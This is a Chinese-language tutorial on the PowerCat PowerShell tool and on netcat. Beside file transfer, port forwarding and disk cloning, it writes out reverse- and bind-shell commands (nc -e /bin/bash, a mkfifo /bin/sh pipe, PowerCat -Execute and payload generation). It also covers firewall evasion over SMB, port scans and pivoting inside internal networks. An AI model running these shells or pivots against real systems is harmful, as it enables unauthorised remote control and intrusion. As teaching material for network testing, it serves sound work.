PowerCat
與Netcat&Ncat配合使用的PowerShell TCP / IP瑞士軍刀
https://github.com/secabstraction/PowerCat
PowerCat 被打包為一個(gè) PowerShell module
所以要導(dǎo)入模塊才能使用功能:
# Import the functions via the psd1 file:
Import-Module PowerCat.psd1
功能和參數(shù)
Start-PowerCat # Starts a listener/server.
-Mode # Defaults to Tcp, can also specify Udp or Smb.
-Port # The port to listen on.
-PipeName # Name of pipe to listen on.
-SslCn # Common name for Ssl encrypting Tcp.
-Relay # Format: "<Mode>:<Port/PipeName>"
-Execute # Execute a console process or powershell.
-SendFile # Filepath of file to send.
-ReceiveFile # Filepath of file to be written.
-Disconnect # Disconnect after connecting.
-KeepAlive # Restart after disconnecting.
-Timeout # Timeout option. Default: 60 seconds
Connect-PowerCat # Connects a client to a listener/server.
-Mode # Defaults to Tcp, can also specify Udp or Smb
-RemoteIp # IPv4 address of host to connect to.
-Port # The port to connect to.
-PipeName # Name of pipe to connect to.
-SslCn # Common name for Ssl encrypting Tcp.
-Relay # Format: "<Mode>:<IP>:<Port/PipeName>"
-Execute # Execute a console process or powershell.
-SendFile # Filepath of file to send.
-ReceiveFile # Filepath of file to be written.
-Disconnect # Disconnect after connecting.
-Timeout # Timeout option. Default: 60 seconds
基本連接
默認(rèn)情況下,PowerCat使用TCP協(xié)議 并且 從控制臺(tái)讀取,寫到控制臺(tái)。
# Basic Listener: 監(jiān)聽(tīng)本機(jī)443端口
Start-PowerCat -Port 443
# Basic Client:
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443
文件傳輸
參數(shù)為
-SendFile
-ReceiveFile
# Send File:
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -SendFile C:\pathto\inputfile
# Receive File:
Start-PowerCat -Port 443 -ReceiveFile C:\pathto\outputfile
Shells
PowerCat can be used to send and serve (Power)Shells using the -Execute parameter.
# Serve a shell:
Start-PowerCat -Port 443 -Execute
# Send a Shell:
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 443 -Execute
UDP and SMB
PowerCat supports more than sending data over TCP.
PowerCat支持的協(xié)議:TCP、UDP、SMB
# Send Data Over UDP:
Start-PowerCat -Mode Udp -Port 8000
# Send Data Over SMB (easily sneak past firewalls):
Start-PowerCat -Mode Smb -PipeName PowerCat
SSL
PowerCat即時(shí)生成X509證書,以提供TCP連接的SSL加密。
PowerCat generates X509 certificates on-the-fly to provide SSL encryption of TCP connections.
# Admin privileges are required to generate the self-signed certificate.
# Serve an SSL-Encrypted (Power)Shell:
Start-PowerCat -Mode Tcp -Port 80 -SslCn <Certificate Common Name> -Execute
# Connect to an SSL encrypted Ncat listener:
# Setup *nix with openssl & Ncat:
# openssl req -X509 -newkey rsa:2048 -subj /CN=PowerCat -days 90 -keyout key.pem -out cert.pem
# ncat -l -p 80 --ssl --ssl-cert cert.pem --ssl-key key.pem
Connect-PowerCat -Mode Tcp -RemoteIp 10.1.1.1 -Port 80 -SslCn PowerCat
Relays
Relays in PowerCat are similar to netcat relays, but you don't have to create a file or start a second process. You can also relay data between connections of different protocols.
# UDP Listener to TCP Client Relay:
Start-PowerCat -Mode Udp -Port 8000 -Relay tcp:10.1.1.16:443
# TCP Listener to UDP Client Relay:
Start-PowerCat -Port 8000 -Relay udp:10.1.1.16:53
# TCP Client to Client Relay
Connect-PowerCat -RemoteIp 10.1.1.1 -Port 9000 -Relay tcp:10.1.1.16:443
# TCP Listener to SMB Listener Relay
New-PowerCat -Listener -Port 8000 -Relay smb:PowerCat
Generate Payloads
Payloads can be generated using the New-PowerCatPayload function.
# Generate a reverse tcp payload that connects back to 10.1.1.15 port 443:
New-PowerCatPayload -RemoteIp 10.1.1.15 -Port 443 -Execute
# Generate a tcp payload that listens on port 8000:
New-PowerCatPayload -Listener -Port 8000 -Execute
Misc Usage
PowerCat can also perform port-scans, start persistent listeners, or act as a simple web server.
# Basic TCP port scan:
1..1024 | ForEach-Object { Connect-PowerCat -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose -Disconnect }
# Basic UDP port scan:
1..1024 | ForEach-Object { Connect-PowerCat -Mode Udp -RemoteIp 10.1.1.10 -Port $_ -Timeout 1 -Verbose }
# Persistent listener:
Start-PowerCat -Port 443 -Execute -KeepAlive
# Simple Web Server:
Start-PowerCat -Port 80 -SendFile index.html
Exiting
In most cases, the ESC key can be used to gracefully exit PowerCat.
netcat
nc
netcat是網(wǎng)絡(luò)工具中的瑞士軍刀,通過(guò)TCP和UDP在網(wǎng)絡(luò)中讀寫數(shù)據(jù)。
通過(guò)與其他工具結(jié)合和重定向,你可以在腳本中以多種方式使用它。
使用netcat命令所能完成的事情令人驚訝。
netcat所做的就是在兩臺(tái)電腦之間建立鏈接并返回兩個(gè)數(shù)據(jù)流,在這之后所能做的事就看你的想像力了。
你能建立一個(gè)服務(wù)器,傳輸文件,與朋友聊天,傳輸流媒體,用它作為其它協(xié)議的獨(dú)立客戶端。
使用格式:
nc [options...] hostname port
nc -l -p port [-s addr] [options...] [hostname] [port]
主要參數(shù):
-4 IPv4模式
-6 IPv6模式
-b, –bluetooth藍(lán)牙模式(默認(rèn)為L(zhǎng)2CAP協(xié)議)
-e,–exec=CMD連接建立后執(zhí)行命令
-l 監(jiān)聽(tīng)入站連接
-n 指定數(shù)字的IP地址,不能用hostname
-u UDP模式
-t TCP模式(默認(rèn)模式)
-v 詳細(xì)輸出——用兩個(gè)-v可得到更詳細(xì)的內(nèi)容
-w,–time=SECONDS連接建立后的延時(shí)
-z 掃描模式,不會(huì)發(fā)送任何數(shù)據(jù)
-T,–ttl=TTL自定義初始TTL
-z 將輸入輸出關(guān)掉——用于掃描時(shí)
-x,–transfer文件傳輸模式
-X ,–rev-transfer反向文件傳輸模式
-s,–address=ADDRESS本地源ip
端口掃描
端口掃描,發(fā)現(xiàn)主機(jī)開(kāi)放的端口
nc -z -v -n 220.181.57.217 80-81
found 0 associations
found 1 connections:
1: flags=82<CONNECTED,PREFERRED>
outif en0
src 192.168.1.170 port 55690
dst 220.181.57.217 port 80
rank info not available
TCP aux info available
Connection to 220.181.57.217 port 80 [tcp/*] succeeded!
-v 詳細(xì)輸出
-n 不使用DNS反向查詢IP地址的域名
可以運(yùn)行在TCP或者UDP模式:默認(rèn)是TCP -u參數(shù)指定為UDP
# 對(duì)已經(jīng)開(kāi)放的端口,使用netcat(會(huì)先自動(dòng)連接開(kāi)放端口)抓取此端口的banner
nc -v 220.181.57.217 80
雙方通信
Server <-> Client
只能2人通信:雙方任何一方發(fā)送內(nèi)容,另一方可以看到。
雙方任何一方Ctrl-c結(jié)束連接,則另一方也會(huì)自動(dòng)斷開(kāi)。
# Server (IP 192.168.1.170)
#在1567端口啟動(dòng)了一個(gè)tcp 服務(wù)器,所有的標(biāo)準(zhǔn)輸出和輸入會(huì)輸出到該端口。輸出和輸入都在此shell中展示。
nc -l 1567
### Client
nc 192.168.1.170 1567
文件傳輸
Server -> Client
FTP,SCP,SMB等協(xié)議,都能傳輸文件。
nc也可以傳輸文件:
雙方建立連接,臨時(shí)傳輸內(nèi)容,并保存為文件。
#Server (IP 192.168.1.170)
#監(jiān)聽(tīng)1567端口,任何Client成功連接該端口后,服務(wù)器端把README.md中的內(nèi)容發(fā)送過(guò)去。
nc -l 1567 < README.md
#Client
#主動(dòng)連接到服務(wù)器端口,當(dāng)獲取內(nèi)容結(jié)束后,斷開(kāi)雙方連接。
nc -n 192.168.1.170 1567 #在shell中顯示該文件的內(nèi)容
nc -n 192.168.1.170 1567 > README2222.md #重定向 保存到文件中
目錄傳輸
使用壓縮工具tar壓縮后發(fā)送壓縮包,即可發(fā)送多個(gè)文件,或者整個(gè)目錄。
#Server (IP 192.168.1.170)
# 打包(不壓縮)指定目錄,通過(guò) - 輸入控制臺(tái)重定向(當(dāng)前目錄中不生成新文件),又通過(guò)管道命令傳給:nc
tar -cvf - dir_name/ | nc -l 1567
#Client
# 連接到服務(wù)器的1567端口,通過(guò)管道命令傳給:tar工具 解壓 控制臺(tái)重定向的輸出- 得到目錄。
nc -n 192.168.1.170 1567 | tar -xvf -
端口轉(zhuǎn)發(fā)
netcat 做簡(jiǎn)單的端口轉(zhuǎn)發(fā)。
背景:
192.168.1.101需要訪問(wèn)192.168.1.102的8000端口
(目標(biāo)主機(jī)防火墻不允許外界機(jī)器訪問(wèn)8000端口,只允許其他機(jī)器連接目標(biāo)主機(jī)192.168.1.102的9000端口)
操作:
192.168.1.101通過(guò)連接目標(biāo)機(jī)192.168.1.102的9000端口
(目標(biāo)機(jī)內(nèi)8000 <-> 9000 轉(zhuǎn)發(fā)成功)
就實(shí)現(xiàn)了192.168.1.101與目標(biāo)機(jī)192.168.1.102的8000端口的通信。
#Server (IP 192.168.1.102)
#防火墻只允許8000端口通信
nc -l 8000
#在目標(biāo)機(jī)192.168.1.102內(nèi) 令 9000端口 作為 轉(zhuǎn)發(fā)數(shù)據(jù)的端口
#實(shí)現(xiàn)了 8000 <-> 9000 的端口轉(zhuǎn)發(fā)
cat /tmp/fifo | nc localhost 8000 | nc -l 9000 > /tmp/fifo
#Client
#在客戶端192.168.1.101主動(dòng)連接192.168.1.102的9000端口
#實(shí)際上客戶端只連接服務(wù)器端的9000端口
nc -n 192.168.1.102 9000
端口轉(zhuǎn)發(fā)可用于內(nèi)網(wǎng)滲透:
Client無(wú)法直接訪問(wèn)內(nèi)網(wǎng)特定機(jī)器X,并成功拿到了內(nèi)網(wǎng)一臺(tái)機(jī)器N:
在跳板機(jī)N內(nèi)做端口轉(zhuǎn)發(fā),N接受到外網(wǎng)的數(shù)據(jù),將其轉(zhuǎn)發(fā)到內(nèi)網(wǎng)目標(biāo)機(jī)器X的特定端口。
以下,沒(méi)有進(jìn)行實(shí)際的測(cè)試。
指定地址 - 客戶端主動(dòng)發(fā)起連接的地址
如果本機(jī)有多個(gè)ip地址:
在netcat中使用-s選項(xiàng)指定與外部通訊的ip地址。
#Server (IP 192.168.1.102)
#服務(wù)器端正常監(jiān)聽(tīng)
nc -u -l 1567 < file.txt
#Client (IP 192.168.1.101)
#指定 客戶端本機(jī) 主動(dòng)發(fā)起連接的ip地址 為192.168.1.101
nc -u 192.168.1.102 1567 -s 172.31.100.101 > file.txt
指定端口 - 客戶端主動(dòng)發(fā)起連接的端口
如果 客戶端Client的防火墻,只允許25端口和外部通訊:
所以需要發(fā)送發(fā)給外部的數(shù)據(jù)都要經(jīng)過(guò)25端口 才能發(fā)出
#Server (IP 192.168.1.102)
#正常監(jiān)聽(tīng)
nc -l 1567
#Client
#客戶端Client的防火墻只允許25端口主動(dòng)發(fā)出連接,和外部通訊
#-p 25 指定打開(kāi)25端口,主動(dòng)發(fā)出連接。否則打開(kāi)任意端口進(jìn)行通訊。
#root權(quán)限才能打開(kāi)1024以內(nèi)的端口
nc 192.168.1.170 1567 -p 25
遠(yuǎn)程shell - 正向shell: A主動(dòng)連到B A得到B的shell
Server 提供一個(gè)shell
Client 得到shell輸入命令
如果沒(méi)有安裝或沒(méi)有權(quán)限安裝telnet或ssh
可用netcat創(chuàng)建遠(yuǎn)程shell
#Server (IP 192.168.1.170)
#被控端
#netcat默認(rèn)支持 -c -e 參數(shù)
#當(dāng)有客戶端連接成功時(shí),執(zhí)行/bin/bash
nc -l 1567 -e /bin/bash -i
#Server (IP 192.168.1.170)
#被控端
#openBSD netcat (如Mac系統(tǒng)自帶的nc):并不支持-c 或者 -e 參數(shù),也能創(chuàng)建遠(yuǎn)程shell
mkfifo /tmp/tmp_fifo # 創(chuàng)建了一個(gè)fifo文件
cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo #使用管道命令把這個(gè)fifo文件內(nèi)容定向到shell 2>&1中。
#是用來(lái)重定向標(biāo)準(zhǔn)錯(cuò)誤輸出和標(biāo)準(zhǔn)輸出,然后管道到netcat運(yùn)行的端口1567上。
#這樣已經(jīng)把netcat的輸出重定向到fifo文件中。
說(shuō)明:
從網(wǎng)絡(luò)收到的輸入寫到fifo文件中
cat 命令讀取fifo文件并且其內(nèi)容發(fā)送給sh命令
sh命令進(jìn)程受到輸入并把它寫回到netcat。
netcat 通過(guò)網(wǎng)絡(luò)發(fā)送輸出到client
能成功是因?yàn)椋汗艿朗姑钇叫袌?zhí)行,fifo文件用來(lái)替代正常文件,因?yàn)閒ifo使讀取等待而如果是一個(gè)普通文件,cat命令會(huì)盡快結(jié)束并開(kāi)始讀取空文件。
#Client
#主控端 直接連接 得到一個(gè)shell提示符在客戶端
nc 192.168.1.170 1567
遠(yuǎn)程shell - 反向shell: A主動(dòng)連到B B得到A的shell
Server 提供一個(gè)shell
Client 得到shell輸入命令
反向shell:在客戶端打開(kāi)的shell。
反向shell這樣命名是因?yàn)椴煌谄渌渲茫@里服務(wù)器使用的是由客戶提供的服務(wù)。
服務(wù)端
#Server (IP 192.168.1.170)
nc -l 1567
#Client
#客戶端netcat主動(dòng)連接,執(zhí)行shell。
nc 172.31.100.7 1567 -e /bin/bash
反向shell作用:
反向shell經(jīng)常被用來(lái)繞過(guò)防火墻的限制,如阻止入站連接。
例如,某內(nèi)網(wǎng)機(jī)器A 經(jīng)過(guò)網(wǎng)絡(luò)地址轉(zhuǎn)換(Network Address Translation)連接到外部網(wǎng)絡(luò) 機(jī)器B。
想要兩臺(tái)主機(jī)連接:
【成功】?jī)?nèi)網(wǎng)機(jī)器A 主動(dòng)發(fā)起連接 能連接到外部機(jī)器B。
【失敗】網(wǎng)絡(luò)外部機(jī)器B 主動(dòng)訪問(wèn) 內(nèi)網(wǎng)機(jī)器A 的shell肯定失敗。
傳輸(加密過(guò)的)數(shù)據(jù)
使用mcrypt工具,兩端密碼必須一致。
#Server (IP 192.168.1.170)
# 使用mcrypt工具加密數(shù)據(jù)
$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567
#Client
#使用mcrypt工具解密數(shù)據(jù)。
nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt
傳輸流視頻
雖然不是生成流視頻的最好方法:
#Server (IP 192.168.1.170)
#讀入一個(gè)視頻文件,重定向輸出到netcat
cat video.avi | nc -l 1567
#Client
#從socket中讀入數(shù)據(jù)并重定向到mplayer(需安裝)
nc 192.168.1.170 1567 | mplayer -vo x11 -cache 3000 -
克隆Linux
dd是一個(gè)從磁盤讀取原始數(shù)據(jù)的工具,我通過(guò)netcat服務(wù)器重定向它的輸出流到其他機(jī)器并且寫入到磁盤中,它會(huì)隨著分區(qū)表拷貝所有的信息。
但是如果我們已經(jīng)做過(guò)分區(qū)并且只需要克隆root分區(qū),我們可以根據(jù)我們系統(tǒng)root分區(qū)的位置,更改sda 為sda1,sda2.等等。
#Server (IP 192.168.1.170)
#假如你的系統(tǒng)在磁盤/dev/sda上
dd if=/dev/sda | nc -l 1567
#Client
nc -n 192.168.1.170 1567 | dd of=/dev/sda
其他功能
使用-t選項(xiàng)模擬Telnet客戶端
HTTP客戶端用于下載文件
連接到郵件服務(wù)器,使用SMTP協(xié)議檢查郵件
使用ffmpeg截取屏幕并通過(guò)流式傳輸分享
只要了解協(xié)議,就能使用netcat作為網(wǎng)絡(luò)通訊媒介,實(shí)現(xiàn)各種客戶端。